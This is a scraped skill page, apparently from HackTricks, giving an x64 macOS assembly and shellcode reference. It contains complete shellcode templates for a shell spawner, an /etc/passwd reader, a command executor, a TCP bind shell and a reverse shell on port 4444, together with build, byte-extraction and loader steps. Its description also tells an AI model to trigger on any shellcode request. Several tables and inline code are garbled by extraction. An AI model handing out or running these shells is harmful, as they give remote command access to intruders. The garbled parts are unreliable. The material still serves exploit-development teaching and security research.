Hacktricks-skills x64-macos-shellcode
Reference and templates for x64 assembly programming and macOS shellcode development. Use this skill whenever the user needs to understand x64 registers, calling conventions, write assembly code, create shellcode for macOS, work with syscalls, or needs quick reference for assembly instructions. Trigger for any x64/x86-64 assembly questions, macOS syscall work, shellcode creation, or reverse engineering tasks involving x64 architecture.
install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest:
skills/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64/SKILL.MDsource content
x64 macOS Shellcode Reference
A comprehensive reference for x64 assembly programming and macOS shellcode development.
Quick Reference
x64 Registers
| Register | Primary Use | Size |
|---|---|---|
| Return values, accumulator | 64-bit |
| Base register for memory | 64-bit |
| Loop counters | 64-bit |
| Extended arithmetic | 64-bit |
| Base pointer (stack frame) | 64-bit |
| Stack pointer | 64-bit |
| Source index | 64-bit |
| Destination index | 64-bit |
| Additional general-purpose | 64-bit |
macOS Calling Convention (System V)
- First 6 parameters:
,rdi
,rsi
,rdx
,rcx
,r8r9 - Return value:
rax - Additional parameters: Passed on stack
- Stack alignment: RSP must be 16-byte aligned before calls
Common Instructions
| Instruction | Purpose | Example |
|---|---|---|
| Move value | |
/ | Stack operations | / |
/ | Arithmetic | |
/ | Multiplication/Division | |
/ | Function calls | |
| Compare values | |
// | Conditional jumps | |
| System call | |
| XOR operation | |
| Load effective address | |
macOS Syscalls
Syscall Classes
SYSCALL_CLASS_NONE 0 /* Invalid */ SYSCALL_CLASS_MACH 1 /* Mach */ SYSCALL_CLASS_UNIX 2 /* Unix/BSD */ SYSCALL_CLASS_MDEP 3 /* Machine-dependent */ SYSCALL_CLASS_DIAG 4 /* Diagnostics */ SYSCALL_CLASS_IPC 5 /* Mach IPC */
Unix/BSD Syscall Numbers
To call a Unix/BSD syscall, add
0x2000000 to the syscall number.
| Number | Syscall | Full Number |
|---|---|---|
| 1 | | |
| 3 | | |
| 4 | | |
| 5 | | |
| 6 | | |
| 59 | | |
| 65 | | |
| 66 | | |
| 68 | | |
| 70 | | |
| 74 | | |
| 90 | | |
Syscall Number Trick
To avoid null bytes in shellcode, use
bts rax, 25 to set bit 25 (adds 0x2000000):
push 59 ; execve syscall number pop rax ; move to RAX bts rax, 25 ; add 0x2000000 without null bytes syscall
Shellcode Templates
Basic Shell (spawn /bin/zsh)
bits 64 section .text global _main _main: xor rdx, rdx ; zero RDX push rdx ; push NULL terminator mov rbx, '/bin/zsh' ; path to shell push rbx ; push path to stack mov rdi, rsp ; RDI = argv[0] push 59 ; execve syscall pop rax ; RAX = syscall number bts rax, 25 ; add 0x2000000 syscall
Read File with Cat
Executes
execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
bits 64 section .text global _main _main: sub rsp, 40 ; allocate stack space lea rdi, [rel cat_path] ; RDI = "/bin/cat" lea rsi, [rel passwd_path] ; RSI = "/etc/passwd" push rsi ; push "/etc/passwd" push rdi ; push "/bin/cat" mov rsi, rsp ; RSI = argv array pointer xor rdx, rdx ; RDX = NULL (no env) push 59 ; execve pop rax bts rax, 25 syscall section .data cat_path: db "/bin/cat", 0 passwd_path: db "/etc/passwd", 0
Execute Command via Shell
Executes
/bin/sh -c "<command>"
bits 64 section .text global _main _main: sub rsp, 32 ; allocate stack space lea rdi, [rel command] ; command string push rdi ; push command lea rdi, [rel sh_c] ; "-c" option push rdi ; push "-c" lea rdi, [rel sh_path] ; "/bin/sh" push rdi ; push "/bin/sh" mov rsi, rsp ; RSI = argv array xor rdx, rdx ; RDX = NULL push 59 ; execve pop rax bts rax, 25 syscall _exit: xor rdi, rdi ; exit code 0 push 1 ; exit syscall pop rax bts rax, 25 syscall section .data sh_path: db "/bin/sh", 0 sh_c_option: db "-c", 0 touch_command: db "touch /tmp/lalala", 0
Bind Shell (Port 4444)
Creates a TCP bind shell on port 4444.
section .text global _main _main: ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; bind() mov rsi, 0xffffffffa3eefdf0 neg rsi push rsi push rsp pop rsi mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x68 syscall ; listen() xor rsi, rsi mov sil, 0x2 mov rax, r8 mov al, 0x6a syscall ; accept() xor rsi, rsi xor rdx, rdx mov rax, r8 mov al, 0x1e syscall ; dup2() for stdin/stdout/stderr mov rdi, rax mov sil, 0x3 dup2: mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi mov rax, r8 mov al, 0x3b syscall
Reverse Shell (127.0.0.1:4444)
Connects back to 127.0.0.1:4444.
section .text global _main _main: ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; connect() mov rsi, 0xfeffff80a3eefdf0 neg rsi push rsi push rsp pop rsi mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x62 syscall ; dup2() for stdin/stdout/stderr xor rsi, rsi mov sil, 0x3 dup2: mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi xor rdx, rdx mov rax, r8 mov al, 0x3b syscall
Building Shellcode
Compile Assembly to Object
nasm -f macho64 shell.asm -o shell.o
Link to Executable
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
Extract Shellcode Bytes
Use the
extract-shellcode.sh script in this skill's scripts directory, or:
# Method 1: Using objdump for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do echo -n '\x'$c done # Method 2: Using otool otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
Test Shellcode
Use the
test-shellcode.c template in this skill's scripts directory. Compile with:
gcc test-shellcode.c -o loader ./loader
Function Structure
Prologue
push rbp ; save caller's base pointer mov rbp, rsp ; set up new base pointer sub rsp, <size> ; allocate space for locals
Epilogue
mov rsp, rbp ; deallocate locals pop rbp ; restore caller's base pointer ret ; return to caller
Tips
- Avoid null bytes: Use
to addbts rax, 25
to syscall numbers0x2000000 - Stack alignment: Ensure RSP is 16-byte aligned before function calls
- Use
: Efficient way to zero a registerxor reg, reg - Use
for addresses:lea
loads address without null byteslea rdi, [rel label] - Test incrementally: Build and test each syscall separately before combining